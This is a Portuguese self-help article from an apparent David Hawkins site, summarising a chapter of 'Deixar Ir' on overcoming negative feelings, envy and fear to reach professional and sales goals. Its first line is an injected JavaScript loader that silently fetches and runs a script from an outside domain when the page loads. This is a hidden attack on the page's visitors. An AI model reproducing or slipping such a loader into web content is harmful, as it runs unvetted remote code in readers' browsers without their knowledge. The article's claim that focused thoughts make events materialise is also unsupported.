;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de vendas - David Hawkins Brasil
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David Hawkins

Como conquistar objetivos profissionais?

Esse é um artigo inspirado no “Capítulo 19: Conquista de Objetivos Vocacionais” do livro “Deixar Ir”. Aqui, vamos te dar as principais chaves para conquistar seus objetivos profissionais.

Sentimentos e Habilidades

O que vai determinar nosso sucesso ou falha no mundo profissional é a qualidade dos nossos próprios pensamentos. Mesmo nossos talentos e habilidades só são expressos à medida que nossos pensamentos determinam. Portanto, o maior desafio que temos nesse sentido está dentro de nós e não fora. 

“Os sentimentos determinam os pensamentos e os pensamentos que mantemos em mente, determinam o nosso resultado.”

Como, então, lidar com esses sentimentos? Primeiro, precisamos observar se são sentimentos positivos ou negativos. E se forem negativos, deixá-los ir!

Sentimentos Negativos Relacionados ao Trabalho

É fácil identificar os sentimentos negativos porque são desagradáveis e por vezes até dolorosos. Eles expressam uma qualidade de “não consigo!”. São sentimentos de raiva, tristeza e ansiedade. A atitude mais comum que as pessoas têm com esses sentimentos é suprimi-los, achando que assim vão se livrar disso. Mas, na verdade, esses sentimentos suprimidos se manifestam em pensamentos negativos, que vão afetar a maneira como enxergamos e lidamos com as situações. Isso nos revela a frase de destaque abaixo.

“Negatividade não existe dentro de uma situação ou um evento; em vez disso, ela reside nas nossas reações às situações conforme as vemos.”

Um dos sentimentos que mais bloqueiam o sucesso profissional é a inveja daquele que conseguiu sair desse tal de “não consigo!”. Por que o outro consegue e eu não? Quando há inveja, a conquista do outro, ao invés de nos inspirar, se torna uma ameaça, ativa um sentimento de falta e de que somos inadequados.

Inveja

Nos sentirmos inadequados é o motivo pelo qual a inveja é tão dolorosa. E ao invés disso motivar a sair da dor, as pessoas ficam presas nesse ciclo, já que o desejo (de ser o que o outro é) repele justamente o que queremos. É um ciclo de achar que todos estão contra nós, de desabafos infinitos com a família, de ficar vendo TV, dormindo, comendo e/ou tomando álcool.

Paradoxalmente, é justamente a inveja que nos bloqueia. Não tem nada a ser resolvido fora de nós. É como no filme “Carruagens de Fogo”, que o personagem perde a linha de chegada em milésimos de segundos porque se virou para ver onde estava seu oponente na corrida. Assim que ele tira seu foco da corrida e o coloca no seu oponente, ele perde. Assim é a vida! Quem ganhou estava motivado pelo puro amor de correr e dar o seu melhor.

O caminho para deixar ir os sentimentos negativos é observar que as recompensas baratas que vem deles não se comparam ao que estamos perdendo por nos prender a essa negatividade. Na prática, isso significa abrir mão de coisas como: culpar os outros pelo nosso fracasso ou sentir simpatia por aqueles que escutam as nossas reclamações. O resultado é nos tornarmos aquele que faz com amor e dá o seu melhor, aquele que aprecia o seu sucesso e o do outro, enfim, o vencedor da corrida!

Sentimentos Positivos Relacionados ao Trabalho

Os sentimentos positivos são a essência de quem somos, são o nosso estado natural. Portanto, ao deixar ir os sentimentos negativos, os positivos surgem espontaneamente. Eles expressam uma qualidade de “eu consigo!”; “nós conseguimos!”. São sentimentos de alegria, felicidade e segurança.

“Quando as nuvens são removidas, o sol brilha. (…) É como se o campo de energia do gênio criativo estivesse disponível e esperando por nós assim que rendemos as nuvens da negatividade que previnem a sua revelação para nós.”

Sentimentos e o Processo de Tomada de Decisão

Vamos simplificar esse processo em 3 estágios conforme os níveis de consciência: inerte, enérgico e pacífico. 

Inerte

A tomada de decisão inerte acontece nos níveis emocionais de apatia, tristeza e medo. Isso reflete nos seguintes pensamentos na hora de tomar a decisão: “eu não sei”, “eu não tenho certeza”, “eu acho que eu não consigo”. É justamente esse ciclo de pensamentos inúteis que nos incapacita de enxergar o melhor para o contexto. 

Uma solução que saia desse campo de energia não será duradoura, o que reflete em uma perda ainda maior da confiança em nós mesmos e dos outros em nós. O melhor aqui é deixar ir essas emoções e sair desse estado antes de tomar a decisão. 

Energético

A tomada de decisão no padrão energético acontece nos níveis emocionais de desejo, raiva e orgulho. Aqui, é permitido que fluam alguns pensamentos positivos, mas esses ainda se misturam com os negativos. É um estado de querer “conquistar” e “provar a si mesmo”. 

O maior motivador aqui é o ganho pessoal. Não há nenhuma preocupação com o bem-estar dos outros. Isso gera situações ganha-perde, ao invés de ganha-ganha. Assim, as decisões são, no geral, insustentáveis e o sucesso se limita ao ganho pessoal, o que passa longe da excelência.

 Pacífico

A tomada de decisão no padrão pacífico acontece nos níveis emocionais de coragem, aceitação e amor. É um estado de paz, com sentimentos puramente positivos que permitem foco total na situação e assim nos capacita a observar todos os detalhes relevantes. 

Sem toda aquela preocupação, surgem as ideias que, de fato, resolvem o problema. As decisões são tomadas com o foco em que todos os envolvidos se beneficiem, assim gerando um contexto de ganha-ganha. Vamos descobrir que ao atender as necessidades de todas as pessoas, as nossas próprias necessidades também são atendidas. É aqui que mora a excelência e os projetos nobres que beneficiam toda uma sociedade. 

“Se olharmos para uma situação e afirmarmos que uma solução ganha-ganha não é possível, isso deve nos alertar de que temos algum sentimento interno não rendido que está bloqueando uma solução possivelmente perfeita.”

Sentimentos e Habilidades de Vendas

Vamos observar a relação entre os 3 níveis básicos de consciência e a habilidade de vendas em si.

Inerte

Como falamos acima, o estado inerte é governado pelas emoções de apatia, tristeza e medo. Nas vendas, isso representa um estado de “os clientes não querem meu produto”. Isso, claro, é o que os vendedores nesse estado mais escutam! A atividade de vendas, pela sua própria natureza, expõe os vendedores a rejeição e desapontamento.

Ao estar nesse ciclo, tudo que os vendedores mais querem é fugir desse estado com infinitos cafés e bate-papo sobre a vida pessoal. Esses sentimentos dos quais querem fugir são justamente o que prejudicam seu foco e diminuem suas habilidades, reduzindo cada vez mais sua autoestima e gerando uma expectativa de fracasso.

“Quando pensamentos de fracasso são mantidos em mente, o fracasso é precipitado nas situações de vendas.”

Energético

O nível energético é baseado nos sentimentos de desejo, raiva e orgulho. Nas vendas, isso representa um estado de “eu quero que eles comprem isso, assim terei uma boa comissão”. É claro que isso gera resistência por parte dos compradores, que podem captar isso. 

Ainda assim, já é possível bater as metas de vendas, mas como o foco do vendedor é o seu próprio ganho, muitas vezes os clientes saem insatisfeitos. Eles percebem os comportamentos no quais: o vendedor fala mais do que ouve seu cliente, força a barra para fechar negócio e fecha coisas prematuramente, gerando problemas de pós-venda. O contexto que se desdobra do padrão energético é o ganha-perde.

 Pacífico

O nível pacífico é o nível mais alto porque é baseado nos sentimentos de coragem, aceitação e amor. Nosso foco não poderia estar melhor. Aqui, a mente está em paz, assim o vendedor consegue escutar o cliente e mais do que isso, transformar problemas em soluções. 

Os clientes ficam satisfeitos e se tornam fiéis, por vezes até se tornam amigos. Há segurança de que as metas serão batidas porque existe uma certeza interna de que uma solução ganha-ganha pode existir em cada uma das situações. 

Não estamos falando de visualizações, técnicas de vendas, pensamentos positivos, afirmações escritas, nada disso. Não é sobre forçar o pensamento a ser positivo. É sobre deixar ir os sentimentos negativos para que o positivo flua naturalmente, como reflexo de quem a gente é. 

Temos o exemplo de uma vendedora de uma galeria de artes que não vendia nada há semanas e fez todas essas coisas que citamos acima. Nada funcionou! Quando chegou no desespero, se rendeu a deixar ir toda essa negatividade. Saiu desse estado de luta, de “ter que vender”. Ela estava em paz e em apenas uma hora depois de chegar nesse estado vendeu duas esculturas que, curiosamente, se chamava “Deixar Ir”.

“Uma mente concentrada em um pensamento positivo tem o poder de aumentar a probabilidade que o pensamento positivo vai se materializar no mundo dos eventos.”

Gloria In Excelsis Deo!

Leia direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

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